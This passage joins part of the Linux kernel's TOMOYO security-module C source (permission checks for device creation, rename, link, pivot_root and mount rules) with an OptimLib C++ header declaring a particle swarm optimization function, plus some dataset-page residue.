if (operation == TOMOYO_TYPE_SYMLINK)
kfree(symlink_target.name);
out:
kfree(buf.name);
tomoyo_read_unlock(idx);
if (!is_enforce)
error = 0;
return error;
}
/**
* tomoyo_mkdev_perm - Check permission for "mkblock" and "mkchar".
*
* @operation: Type of operation. (TOMOYO_TYPE_MKCHAR or TOMOYO_TYPE_MKBLOCK)
* @path: Pointer to "struct path".
* @mode: Create mode.
* @dev: Device number.
*
* Returns 0 on success, negative value otherwise.
*/
int tomoyo_mkdev_perm(const u8 operation, const struct path *path,
const unsigned int mode, unsigned int dev)
{
struct tomoyo_request_info r;
struct tomoyo_obj_info obj = {
.path1 = *path,
};
int error = -ENOMEM;
struct tomoyo_path_info buf;
int idx;
if (tomoyo_init_request_info(&r, NULL, tomoyo_pnnn2mac[operation])
== TOMOYO_CONFIG_DISABLED)
return 0;
idx = tomoyo_read_lock();
error = -ENOMEM;
if (tomoyo_get_realpath(&buf, path)) {
r.obj = &obj;
dev = new_decode_dev(dev);
r.param_type = TOMOYO_TYPE_MKDEV_ACL;
r.param.mkdev.filename = &buf;
r.param.mkdev.operation = operation;
r.param.mkdev.mode = mode;
r.param.mkdev.major = MAJOR(dev);
r.param.mkdev.minor = MINOR(dev);
tomoyo_check_acl(&r, tomoyo_check_mkdev_acl);
error = tomoyo_audit_mkdev_log(&r);
kfree(buf.name);
}
tomoyo_read_unlock(idx);
if (r.mode != TOMOYO_CONFIG_ENFORCING)
error = 0;
return error;
}
/**
* tomoyo_path2_perm - Check permission for "rename", "link" and "pivot_root".
*
* @operation: Type of operation.
* @path1: Pointer to "struct path".
* @path2: Pointer to "struct path".
*
* Returns 0 on success, negative value otherwise.
*/
int tomoyo_path2_perm(const u8 operation, const struct path *path1,
const struct path *path2)
{
int error = -ENOMEM;
struct tomoyo_path_info buf1;
struct tomoyo_path_info buf2;
struct tomoyo_request_info r;
struct tomoyo_obj_info obj = {
.path1 = *path1,
.path2 = *path2,
};
int idx;
if (tomoyo_init_request_info(&r, NULL, tomoyo_pp2mac[operation])
== TOMOYO_CONFIG_DISABLED)
return 0;
buf1.name = NULL;
buf2.name = NULL;
idx = tomoyo_read_lock();
if (!tomoyo_get_realpath(&buf1, path1) ||
!tomoyo_get_realpath(&buf2, path2))
goto out;
switch (operation) {
case TOMOYO_TYPE_RENAME:
case TOMOYO_TYPE_LINK:
if (!d_is_dir(path1->dentry))
break;
/* fall through */
case TOMOYO_TYPE_PIVOT_ROOT:
tomoyo_add_slash(&buf1);
tomoyo_add_slash(&buf2);
break;
}
r.obj = &obj;
r.param_type = TOMOYO_TYPE_PATH2_ACL;
r.param.path2.operation = operation;
r.param.path2.filename1 = &buf1;
r.param.path2.filename2 = &buf2;
do {
tomoyo_check_acl(&r, tomoyo_check_path2_acl);
error = tomoyo_audit_path2_log(&r);
} while (error == TOMOYO_RETRY_REQUEST);
out:
kfree(buf1.name);
kfree(buf2.name);
tomoyo_read_unlock(idx);
if (r.mode != TOMOYO_CONFIG_ENFORCING)
error = 0;
return error;
}
/**
* tomoyo_same_mount_acl - Check for duplicated "struct tomoyo_mount_acl" entry.
*
* @a: Pointer to "struct tomoyo_acl_info".
* @b: Pointer to "struct tomoyo_acl_info".
*
* Returns true if @a == @b, false otherwise.
*/
static bool tomoyo_same_mount_acl(const struct tomoyo_acl_info *a,
const struct tomoyo_acl_info *b)
{
const struct tomoyo_mount_acl *p1 = container_of(a, typeof(*p1), head);
const struct tomoyo_mount_acl *p2 = container_of(b, typeof(*p2), head);
return tomoyo_same_name_union(&p1->dev_name, &p2->dev_name) &&
tomoyo_same_name_union(&p1->dir_name, &p2->dir_name) &&
tomoyo_same_name_union(&p1->fs_type, &p2->fs_type) &&
tomoyo_same_number_union(&p1->flags, &p2->flags);
}
/**
* tomoyo_update_mount_acl - Write "struct tomoyo_mount_acl" list.
*
* @param: Pointer to "struct tomoyo_acl_param".
*
* Returns 0 on success, negative value otherwise.
*
* Caller holds tomoyo_read_lock().
*/
static int tomoyo_update_mount_acl(struct tomoyo_acl_param *param)
{
struct tomoyo_mount_acl e = { .head.type = TOMOYO_TYPE_MOUNT_ACL };
int error;
if (!tomoyo_parse_name_union(param, &e.dev_name) ||
!tomoyo_parse_name_union(param, &e.dir_name) ||
!tomoyo_parse_name_union(param, &e.fs_type) ||
!tomoyo_parse_number_union(param, &e.flags))
error = -EINVAL;
else
error = tomoyo_update_domain(&e.head, sizeof(e), param,
tomoyo_same_mount_acl, NULL);
tomoyo_put_name_union(&e.dev_name);
tomoyo_put_name_union(&e.dir_name);
tomoyo_put_name_union(&e.fs_type);
tomoyo_put_number_union(&e.flags);
return error;
}
/**
* tomoyo_write_file - Update file related list.
*
* @param: Pointer to "struct tomoyo_acl_param".
*
* Returns 0 on success, negative value otherwise.
*
* Caller holds tomoyo_read_lock().
*/
int tomoyo_write_file(struct tomoyo_acl_param *param)
{
u16 perm = 0;
u8 type;
const char *operation = tomoyo_read_token(param);
for (type = 0; type < TOMOYO_MAX_PATH_OPERATION; type++)
if (tomoyo_permstr(operation, tomoyo_path_keyword[type]))
perm |= 1 << type;
if (perm)
return tomoyo_update_path_acl(perm, param);
for (type = 0; type < TOMOYO_MAX_PATH2_OPERATION; type++)
if (tomoyo_permstr(operation,
tomoyo_mac_keywords[tomoyo_pp2mac[type]]))
perm |= 1 << type;
if (perm)
return tomoyo_update_path2_acl(perm, param);
for (type = 0; type < TOMOYO_MAX_PATH_NUMBER_OPERATION; type++)
if (tomoyo_permstr(operation,
tomoyo_mac_keywords[tomoyo_pn2mac[type]]))
perm |= 1 << type;
if (perm)
return tomoyo_update_path_number_acl(perm, param);
for (type = 0; type < TOMOYO_MAX_MKDEV_OPERATION; type++)
if (tomoyo_permstr(operation,
tomoyo_mac_keywords[tomoyo_pnnn2mac[type]]))
perm |= 1 << type;
if (perm)
return tomoyo_update_mkdev_acl(perm, param);
if (tomoyo_permstr(operation,
tomoyo_mac_keywords[TOMOYO_MAC_FILE_MOUNT]))
return tomoyo_update_mount_acl(param);
return -EINVAL;
}
| {
"pile_set_name": "Github"
} |
/*################################################################################
##
## Copyright (C) 2016-2020 Keith O'Hara
##
## This file is part of the OptimLib C++ library.
##
## Licensed under the Apache License, Version 2.0 (the "License");
## you may not use this file except in compliance with the License.
## You may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by applicable law or agreed to in writing, software
## distributed under the License is distributed on an "AS IS" BASIS,
## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
## See the License for the specific language governing permissions and
## limitations under the License.
##
################################################################################*/
/*
* Particle Swarm Optimization (PSO) with Differentially-Perturbed Velocity (DV)
*/
#ifndef _optim_pso_dv_HPP
#define _optim_pso_dv_HPP
/**
* @brief Particle Swarm Optimization (PSO) with Differentially-Perturbed Velocity (DV)
*
* @param init_out_vals a column vector of initial values, which will be replaced by the solution upon successful completion of the optimization algorithm.
* @param opt_objfn the function to be minimized, taking three arguments:
* - \c vals_inp a vector of inputs;
* - \c grad_out a vector to store the gradient; and
* - \c opt_data additional data passed to the user-provided function.
* @param opt_data additional data passed to the user-provided function.
*
* @return a boolean value indicating successful completion of the optimization algorithm.
*/
bool
pso_dv(Vec_t& init_out_vals,
std::function<double (const Vec_t& vals_inp, Vec_t* grad_out, void* opt_data)> opt_objfn,
void* opt_data);
/**
* @brief Particle Swarm Optimization (PSO) with Differentially-Perturbed Velocity (DV)
*
* @param init_out_vals a column vector of initial values, which will be replaced by the solution upon successful completion of the optimization algorithm.
* @param opt_objfn the function to be minimized, taking three arguments:
* - \c vals_inp a vector of inputs;
* - \c grad_out a vector to store the gradient; and
* - \c opt_data additional data passed to the user-provided function.
* @param opt_data additional data passed to the user-provided function.
* @param settings parameters controlling the optimization routine.
*
* @return a boolean value indicating successful completion of the optimization algorithm.
*/
bool
pso_dv(Vec_t& init_out_vals,
std::function<double (const Vec_t& vals_inp, Vec_t* grad_out, void* opt_data)> opt_objfn,
void* opt_data,
algo_settings_t& settings);
//
// internal
namespace internal
{
bool
pso_dv_impl(Vec_t& init_out_vals,
std::function<double (const Vec_t& vals_inp, Vec_t* grad_out, void* opt_data)> opt_objfn,
void* opt_data,
algo_settings_t* settings_inp);
}
#endif
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.